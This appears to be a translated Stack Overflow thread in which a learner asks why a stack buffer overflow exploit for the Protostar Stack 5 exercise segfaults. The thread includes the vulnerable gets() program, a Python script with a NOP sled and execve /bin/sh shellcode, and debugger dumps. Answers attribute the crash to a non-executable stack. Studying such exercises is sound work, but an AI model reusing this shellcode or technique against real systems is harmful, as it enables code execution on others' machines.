Ошибка сегментации при переполнении буфера буфера

Я попытался узнать, как работает переполнение буфера, и выполнил несколько упражнений с сайтаexploit-exercises.com. Я попытался решить проблему с Protostar Stack 5. Код написан на C. Вот код:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

Буфер начинается с 0xbffff770, а возврат расположен с 0xbffff7bc, поэтому у меня есть 76 байт (0xbffff7bc - 0xbffff770 = 0x4c = 76) для размещения nop-следа и шеллкода. Размер шеллкода составляет 23 байта, поэтому я помещаю 53 байта nop-следа в свой стек и перенаправляю регистр eip в середине моего nop-следа, который равен 0x0xbffff770 + 16. Вот мой скрипт для создания эксплойта, написанного на питоне:

import struct

eip = struct.pack("I", 0xbffff770 + 16) 
nop = "\x90" * 53
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89
           \xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

print nop + payload + eip

Но после того, как я запустил этот эксплойт в программе, я получил Segmentetion Fault. Может кто-нибудь объяснить мне, почему я получил эту ошибку?

Память после запуска эксплойта:

0xbffff770: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff780: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff790: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff7a0: 0x90909090  0x50c03190  0x732f2f68  0x622f6868
0xbffff7b0: 0xe3896e69  0xe1895350  0x80cd0bb0  0xbffff780

Адрес ret расположен по адресу 0xbffff7bc и направлен на 0xbffff780 (который не является следом), а шеллкод начинается с 0xbffff7a5 до 0xbffff7bc.

регистр информации:

eax            0xbffff770   -1073744016
ecx            0xbffff770   -1073744016
edx            0xb7fd9334   -1208118476
ebx            0xb7fd7ff4   -1208123404
esp            0xbffff7bc   0xbffff7bc
ebp            0x80cd0bb0   0x80cd0bb0
esi            0x0  0
edi            0x0  0
eip            0x80483da    0x80483da <main+22>
eflags         0x200246 [ PF ZF IF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51

Кстати, я пробовал ставить рет адрес редиректа 5 раз, поэтому я уменьшил nop sled до 33 байт (nop sled(33 byte) + shellcode(23 byte) + ret addr(4 byte * 5)) и это сработало, но почему я получаю segfault при первом эксплойте. Я не понимаю почему.


person AlbertusFar    schedule 28.12.2016    source источник
comment
Можете ли вы расшифровать код, который пытаетесь выполнить? Мой мозг — ужасный дизассемблер; Я не запомнил таблицы преобразования двоичных кодов в мнемонические. Как выглядит код в памяти после того, как вы его изменили?   -  person Cody Gray    schedule 28.12.2016
comment
Обновлено :) @CodyGray   -  person AlbertusFar    schedule 28.12.2016
comment
Вы пытались проверить инструкцию по адресу eip = 0x80483da, чтобы убедиться, что вы выполняете ret, как ожидалось?   -  person Irisshpunk    schedule 29.12.2016
comment
Я подозреваю, как это происходит. Выполняете ли вы свой код в системе iso, предоставленной этим веб-сайтом?   -  person bananaappletw    schedule 29.12.2016


Ответы (1)


Скорее всего, LTKills был прав, говоря, что ответ на этот вопрос был дан в Использование переполнения буфера приводит к segfault, где ответ:

Ваш адрес памяти 0xbffff…80 скорее всего неисполняемый, а только для чтения/записи.

Вы можете убедиться в этом, т. грамм. с /proc/…/maps:

  • запустите свою программу C без ввода, чтобы она ждала ввода
  • приостановить его с помощью Ctrl-Z или сделать следующее с другого терминала
  • введите cat /proc/`pidof a.out`/maps (с именем программы C вместо a.out, если оно отличается)

Вы должны увидеть что-то похожее на это:

08048000-08049000 r-xp 00000000 00:16 6723524   /home/armali/bin/so/c/a.out
08049000-0804a000 rw-p 00000000 00:16 6723524   /home/armali/bin/so/c/a.out
f7635000-f7636000 rw-p 00000000 00:00 0 
f7636000-f7774000 r-xp 00000000 08:08 371440    /lib/libc-2.11.3.so
f7774000-f7775000 ---p 0013e000 08:08 371440    /lib/libc-2.11.3.so
f7775000-f7777000 r--p 0013e000 08:08 371440    /lib/libc-2.11.3.so
f7777000-f7778000 rw-p 00140000 08:08 371440    /lib/libc-2.11.3.so
f7778000-f777b000 rw-p 00000000 00:00 0 
f7796000-f7799000 rw-p 00000000 00:00 0 
f7799000-f779a000 r-xp 00000000 00:00 0         [vdso]
f779a000-f77b5000 r-xp 00000000 08:08 371433    /lib/ld-2.11.3.so
f77b5000-f77b6000 r--p 0001b000 08:08 371433    /lib/ld-2.11.3.so
f77b6000-f77b7000 rw-p 0001c000 08:08 371433    /lib/ld-2.11.3.so
ff8fb000-ff910000 rw-p 00000000 00:00 0         [stack]

Здесь сегмент [stack] не является исполняемым (там нет x).

person Armali    schedule 30.01.2019
comment
Вероятно, вам следует упомянуть, что компиляция с gcc -zexecstack сделает стек (а также .data и кучу) исполняемым, в отличие от этого более безопасного значения по умолчанию. - person Peter Cordes; 31.01.2019